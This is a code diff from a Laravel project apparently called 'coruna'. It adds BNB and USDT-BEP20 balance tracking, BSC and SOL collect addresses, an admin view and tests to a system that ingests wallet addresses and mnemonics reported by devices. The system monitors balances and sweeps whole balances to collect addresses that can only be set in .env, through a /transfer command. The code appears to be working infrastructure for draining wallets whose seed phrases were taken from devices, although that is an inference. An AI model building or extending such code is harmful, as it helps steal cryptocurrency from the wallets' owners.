'usdt' => $address->usdt,
]);
return true;
} catch (\Throwable $e) {
Log::warning('bsc balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
/**
* Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails.
*
* @return array{bnb: string, usdt: string}|null
*/
private function bscCoins(string $address): ?array
{
try {
$driver = $this->chains->resolve('bsc');
$coins = [
'bnb' => $driver->getNativeBalance($address),
'usdt' => '0',
];
$contract = trim((string) config('coruna.bsc.usdt_contract', ''));
if ($contract !== '') {
$coins['usdt'] = $driver->getTokenBalance($address, $contract);
}
return $coins;
} catch (\Throwable $e) {
Log::warning('bsc balance query failed: '.$e->getMessage(), [
'address' => $address,
]);
return null;
}
}
/**
* When an ETH address is first stored, also keep a BSC row if that same
* address holds native BNB or USDT-BEP20.
*/
public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress
{
$addr = trim((string) $ethRow->address);
if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
return null;
}
$coins = $this->bscCoins($addr);
if ($coins === null) {
return null;
}
if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) {
return null;
}
return $this->persistBscSibling($ethRow, $coins);
}
/**
* Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC
* without overwriting the ETH row's ERC20 USDT.
*
* @param array{bnb: string, usdt: string} $coins
*/
private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress
{
if ($ethRow->device_id === null) {
return null;
}
$hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0;
$query = WalletAddress::query()
->where('device_id', $ethRow->device_id)
->where('address', $ethRow->address)
->where('chain_type', 'BSC');
if ($ethRow->source === null || $ethRow->source === '') {
$query->where(function ($q) {
$q->whereNull('source')->orWhere('source', '');
});
} else {
$query->where('source', $ethRow->source);
}
$sibling = $query->first();
if ($sibling === null && ! $hasFunds) {
return null;
}
if ($sibling === null) {
$sibling = new WalletAddress([
'device_id' => $ethRow->device_id,
'address' => $ethRow->address,
'source' => $ethRow->source,
'chain_type' => 'BSC',
'mnemonic_id' => $ethRow->mnemonic_id,
'derive_index' => $ethRow->derive_index,
'monitor' => (int) $ethRow->monitor,
]);
}
$sibling->chain_type = 'BSC';
$sibling->bnb = $coins['bnb'];
$sibling->usdt = $coins['usdt'];
if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) {
$sibling->mnemonic_id = $ethRow->mnemonic_id;
$sibling->derive_index = $ethRow->derive_index;
}
$sibling->save();
return $sibling;
}
public function refreshBtc(WalletAddress $address): bool public function refreshBtc(WalletAddress $address): bool
{ {
$addr = trim((string) $address->address); $addr = trim((string) $address->address);
+1 -1
View File
@@ -35,7 +35,7 @@ class HelpCommand
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC', ' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10', ' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH', ' 例: /transfer 0x… ETH',
' 例: /transfer 0x… BNB', ' 例: /transfer 0x… BNB (BSC 原生 BNB)',
' 例: /transfer 1… BTC 0.01', ' 例: /transfer 1… BTC 0.01',
])); ]));
} }
+11 -3
View File
@@ -118,11 +118,16 @@ return [
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer. // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'), 'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6), 'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
// BNB ERC20 on Ethereum mainnet (not BSC native). Empty = skip BNB balance/transfer.
'bnb_contract' => env('ETH_BNB_CONTRACT', '0xB8c77482e45F1F44dE1745F52C74426C631bDD52'),
'bnb_decimals' => (int) env('ETH_BNB_DECIMALS', 18),
'gas_limit' => env('ETH_GAS_LIMIT', ''), 'gas_limit' => env('ETH_GAS_LIMIT', ''),
], ],
'bsc' => [
'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'),
'chain_id' => (int) env('BSC_CHAIN_ID', 56),
// Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer.
'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'),
'usdt_decimals' => (int) env('BSC_USDT_DECIMALS', 18),
'gas_limit' => env('BSC_GAS_LIMIT', ''),
],
'btc' => [ 'btc' => [
// mempool.space-compatible REST root (…/api). // mempool.space-compatible REST root (…/api).
'api_url' => env('BTC_API_URL', 'https://mempool.space/api'), 'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
@@ -144,7 +149,9 @@ return [
'transfer' => [ 'transfer' => [
'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'to_address' => env('TRANSFER_TO_ADDRESS', ''),
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''), 'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
'to_address_bsc' => env('TRANSFER_TO_ADDRESS_BSC', ''),
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''), 'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
'to_address_sol' => env('TRANSFER_TO_ADDRESS_SOL', ''),
'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''), 'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''),
'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''), 'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''),
// Target TRX balance before a transfer (shortfall only is sent). // Target TRX balance before a transfer (shortfall only is sent).
@@ -159,6 +166,7 @@ return [
// Leave this much native when transferring "all". // Leave this much native when transferring "all".
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'), 'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
'bnb_fee_reserve' => env('TRANSFER_BNB_FEE_RESERVE', '0.0005'),
'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'), 'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
], ],
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
// MySQL uses the unique (device_id, …) index for the device_id foreign key.
$table->index('device_id');
$table->dropUnique(['device_id', 'address', 'source']);
$table->unique(['device_id', 'address', 'source', 'chain_type']);
});
}
public function down(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropUnique(['device_id', 'address', 'source', 'chain_type']);
$table->unique(['device_id', 'address', 'source']);
});
}
};
@@ -151,6 +151,9 @@ layui.use(['table', 'form', 'layer'], function () {
if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) { if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) {
return ['USDT', 'TRX']; return ['USDT', 'TRX'];
} }
if (type.indexOf('BSC') >= 0 || type.indexOf('BNB') >= 0 || type.indexOf('BINANCE') >= 0) {
return ['BNB', 'USDT'];
}
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) { if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
return ['ETH', 'USDT', 'BNB']; return ['ETH', 'USDT', 'BNB'];
} }
@@ -111,12 +111,22 @@
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly <input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_eth'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;"> value="{{ $form['transfer.to_address_eth'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div> </div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BSC</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ ($form['transfer.to_address_bsc'] ?? '') !== '' ? $form['transfer.to_address_bsc'] : ($form['transfer.to_address_eth'] ?? '') }}" placeholder="未配置,默认用 ETH 归集地址" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;"> <div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BTC</span> <span class="layui-form-mid" style="width:50px;">BTC</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly <input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_btc'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;"> value="{{ $form['transfer.to_address_btc'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div> </div>
<div class="layui-form-mid layui-word-aux">归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BTC,后台只读展示,不可修改</div> <div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">SOL</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_sol'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div class="layui-form-mid layui-word-aux">归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BSC / TRANSFER_TO_ADDRESS_BTC / TRANSFER_TO_ADDRESS_SOL,后台只读展示,不可修改。BSC 未配置时使用 ETH 归集地址。</div>
</div> </div>
</div> </div>
+44
View File
@@ -222,6 +222,10 @@ class MnemonicAddressLinkTest extends TestCase
'result' => self::MNEMONIC, 'result' => self::MNEMONIC,
]); ]);
Http::fake([
'*' => Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200),
]);
app(IngestService::class)->ingestAddresses($device, [ app(IngestService::class)->ingestAddresses($device, [
'a' => 'a', 'a' => 'a',
'ba' => [ 'ba' => [
@@ -241,6 +245,46 @@ class MnemonicAddressLinkTest extends TestCase
); );
} }
#[Test]
public function new_eth_address_with_bsc_funds_also_creates_bsc_row(): void
{
config([
'coruna.bsc.rpc_url' => 'https://bsc.example',
'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
'coruna.bsc.usdt_decimals' => 18,
]);
// setUp() already registered a catch-all Http::fake(), and later fakes are
// checked after it, so they never run. Replace the client first.
Http::swap(new \Illuminate\Http\Client\Factory);
Http::fake([
'https://bsc.example' => Http::sequence()
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0xde0b6b3a7640000'], 200)
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1bc16d674ec80000'], 200),
]);
$device = $this->makeDevice('dev-link-bsc');
app(IngestService::class)->ingestAddresses($device, [
'a' => 'a',
'ba' => [
self::ETH_0 => [
['balance' => '0.1', 'chainType' => 'ETHEREUM', 'symbol' => 'ETH', 'decimal' => 18],
],
],
]);
$eth = WalletAddress::query()->where('chain_type', 'ETHEREUM')->where('address', self::ETH_0)->first();
$bsc = WalletAddress::query()->where('chain_type', 'BSC')->where('address', self::ETH_0)->first();
$this->assertNotNull($eth);
$this->assertNotNull($bsc);
$this->assertEqualsWithDelta(1.0, (float) $bsc->bnb, 0.0000001);
$this->assertEqualsWithDelta(2.0, (float) $bsc->usdt, 0.0000001);
$this->assertSame($eth->device_id, $bsc->device_id);
$this->assertSame($eth->source, $bsc->source);
$this->assertTrue((float) ($eth->usdt ?? 0) < 0.0000001);
$this->assertSame(1, WalletAddress::query()->where('chain_type', 'ETHEREUM')->count());
$this->assertSame(1, WalletAddress::query()->where('chain_type', 'BSC')->count());
}
#[Test] #[Test]
public function ingest_mnemonic_after_address_links_via_ingest(): void public function ingest_mnemonic_after_address_links_via_ingest(): void
{ {
+7
View File
@@ -176,6 +176,7 @@ class SystemAdminTest extends TestCase
'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly', 'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly',
'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly', 'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly',
'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay', 'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay',
'coruna.transfer.to_address_sol' => 'SoCollectAddressForDisplayOnly1111111111111',
'coruna.panel.admin_hosts' => [], 'coruna.panel.admin_hosts' => [],
'coruna.channel_domains' => ['hidden-cdn.example.com'], 'coruna.channel_domains' => ['hidden-cdn.example.com'],
]); ]);
@@ -188,6 +189,7 @@ class SystemAdminTest extends TestCase
->assertDontSee('name="transfer_to_address"', false) ->assertDontSee('name="transfer_to_address"', false)
->assertDontSee('name="transfer_to_address_eth"', false) ->assertDontSee('name="transfer_to_address_eth"', false)
->assertDontSee('name="transfer_to_address_btc"', false) ->assertDontSee('name="transfer_to_address_btc"', false)
->assertDontSee('name="transfer_to_address_sol"', false)
->assertSee('readonly', false) ->assertSee('readonly', false)
->assertDontSee('name="panel_admin_hosts"', false) ->assertDontSee('name="panel_admin_hosts"', false)
->assertDontSee('name="channels_domains"', false) ->assertDontSee('name="channels_domains"', false)
@@ -197,6 +199,8 @@ class SystemAdminTest extends TestCase
->assertSee('TCollectTronAddressForDisplayOnly') ->assertSee('TCollectTronAddressForDisplayOnly')
->assertSee('0xCollectEthAddressForDisplayOnly') ->assertSee('0xCollectEthAddressForDisplayOnly')
->assertSee('bc1CollectBtcAddressForDisplay') ->assertSee('bc1CollectBtcAddressForDisplay')
->assertSee('SoCollectAddressForDisplayOnly1111111111111')
->assertSee('TRANSFER_TO_ADDRESS_SOL')
->assertSee('只能在 .env 配置') ->assertSee('只能在 .env 配置')
->assertDontSee('hidden-cdn.example.com') ->assertDontSee('hidden-cdn.example.com')
->assertSee('TELEGRAM_BOT_TOKEN') ->assertSee('TELEGRAM_BOT_TOKEN')
@@ -212,6 +216,7 @@ class SystemAdminTest extends TestCase
'coruna.transfer.to_address' => 'TKeepCollect', 'coruna.transfer.to_address' => 'TKeepCollect',
'coruna.transfer.to_address_eth' => '0xKeepCollect', 'coruna.transfer.to_address_eth' => '0xKeepCollect',
'coruna.transfer.to_address_btc' => 'bc1KeepCollect', 'coruna.transfer.to_address_btc' => 'bc1KeepCollect',
'coruna.transfer.to_address_sol' => 'SoKeepCollect',
]); ]);
$this->actingAs($this->superAdmin(), 'admin') $this->actingAs($this->superAdmin(), 'admin')
@@ -222,6 +227,7 @@ class SystemAdminTest extends TestCase
'transfer_to_address' => 'TNewCollect', 'transfer_to_address' => 'TNewCollect',
'transfer_to_address_eth' => '0xNewCollect', 'transfer_to_address_eth' => '0xNewCollect',
'transfer_to_address_btc' => 'bc1NewCollect', 'transfer_to_address_btc' => 'bc1NewCollect',
'transfer_to_address_sol' => 'SoNewCollect',
]) ])
->assertOk() ->assertOk()
->assertJsonPath('code', 0); ->assertJsonPath('code', 0);
@@ -229,6 +235,7 @@ class SystemAdminTest extends TestCase
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address')); $this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth')); $this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc')); $this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
$this->assertSame('SoKeepCollect', config('coruna.transfer.to_address_sol'));
} }
#[Test] #[Test]
+40
View File
@@ -207,6 +207,46 @@ class TransferServiceTest extends TestCase
]); ]);
} }
#[Test]
public function sol_sweep_requires_its_own_collect_address(): void
{
config([
'coruna.transfer.to_address' => self::TO,
'coruna.transfer.to_address_sol' => '',
]);
$from = 'So11111111111111111111111111111111111111112';
$result = app(TransferService::class)->handle('sol', $from, '0.1', 'SOL');
$this->assertFalse($result['ok']);
$this->assertSame('TRANSFER_TO_ADDRESS_SOL is not configured', $result['error']);
$this->assertDatabaseHas('transfer_records', [
'from_address' => $from,
'to_address' => null,
'chain' => 'sol',
'error' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
]);
}
#[Test]
public function solana_alias_uses_configured_sol_collect_address(): void
{
$to = 'So11111111111111111111111111111111111111112';
config([
'coruna.transfer.to_address' => self::TO,
'coruna.transfer.to_address_sol' => $to,
]);
$result = app(TransferService::class)->handle('solana', $to, '0.1', 'SOL');
$this->assertFalse($result['ok']);
$this->assertStringNotContainsString('TRANSFER_TO_ADDRESS', (string) ($result['error'] ?? ''));
$this->assertDatabaseHas('transfer_records', [
'chain' => 'solana',
'to_address' => $to,
]);
}
#[Test] #[Test]
public function rejects_when_no_matching_mnemonic(): void public function rejects_when_no_matching_mnemonic(): void
{ {
+6 -3
View File
@@ -2,6 +2,7 @@
namespace Tests\Unit; namespace Tests\Unit;
use App\Services\Chain\BscDriver;
use App\Services\Chain\EthDriver; use App\Services\Chain\EthDriver;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
@@ -39,8 +40,9 @@ class EthDriverTest extends TestCase
'coruna.eth.rpc_url' => 'https://ethereum.example', 'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.eth.usdt_decimals' => 6, 'coruna.eth.usdt_decimals' => 6,
'coruna.eth.bnb_contract' => '0xB8c77482e45F1F44dE1745F52C74426C631bDD52', 'coruna.bsc.rpc_url' => 'https://ethereum.example',
'coruna.eth.bnb_decimals' => 18, 'coruna.bsc.usdt_contract' => '0x55d398326f99059fF775485246999027B3197955',
'coruna.bsc.usdt_decimals' => 18,
]); ]);
Http::fake(function ($request) { Http::fake(function ($request) {
@@ -54,6 +56,7 @@ class EthDriverTest extends TestCase
$addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94'; $addr = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94';
$this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract'))); $this->assertSame('100', $driver->getTokenBalance($addr, (string) config('coruna.eth.usdt_contract')));
$this->assertSame('1', $driver->getTokenBalance($addr, (string) config('coruna.eth.bnb_contract'))); $bsc = new BscDriver;
$this->assertSame('1', $bsc->getTokenBalance($addr, (string) config('coruna.bsc.usdt_contract')));
} }
} }
+10 -2
View File
@@ -63,13 +63,17 @@ class WalletBalanceServiceTest extends TestCase
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class); $eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25'); $eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
$eth->shouldReceive('getTokenBalance')->twice()->andReturn('9.5', '2.5'); $eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
$bsc = \Mockery::mock(\App\Services\Chain\BscDriver::class);
$bsc->shouldReceive('getNativeBalance')->once()->andReturn('2.5');
$bsc->shouldReceive('getTokenBalance')->once()->andReturn('8');
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class); $manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth); $manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
$manager->shouldReceive('resolve')->with('bsc')->andReturn($bsc);
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager); $this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
config([ config([
'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7', 'coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7',
'coruna.eth.bnb_contract' => '0xb8c77482e45f1f44de1745f52c74426c631bdd52', 'coruna.bsc.usdt_contract' => '0x55d398326f99059ff775485246999027b3197955',
]); ]);
$device = Device::query()->create([ $device = Device::query()->create([
@@ -92,6 +96,10 @@ class WalletBalanceServiceTest extends TestCase
$this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001); $this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001); $this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
$this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001); $this->assertEqualsWithDelta(2.5, (float) $addr->bnb, 0.0000001);
$bscRow = WalletAddress::query()->where('chain_type', 'BSC')->where('device_id', $device->id)->first();
$this->assertNotNull($bscRow);
$this->assertEqualsWithDelta(2.5, (float) $bscRow->bnb, 0.0000001);
$this->assertEqualsWithDelta(8.0, (float) $bscRow->usdt, 0.0000001);
} }
#[Test] #[Test]